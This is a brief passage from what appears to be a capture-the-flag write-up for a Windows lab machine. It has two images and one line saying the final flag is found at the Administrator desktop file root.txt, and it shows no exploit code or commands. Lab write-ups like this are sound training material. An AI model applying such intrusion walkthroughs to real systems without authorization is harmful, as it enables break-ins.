<figure><img src="/files/F93kc9FNpBUuj6nDX7DH" alt=""><figcaption></figcaption></figure>

We find the final flag at `C:\Users\Administrator\Desktop\root.txt`.

<figure><img src="/files/Jw30F6DRikk39CEmmmlv" alt=""><figcaption></figcaption></figure>
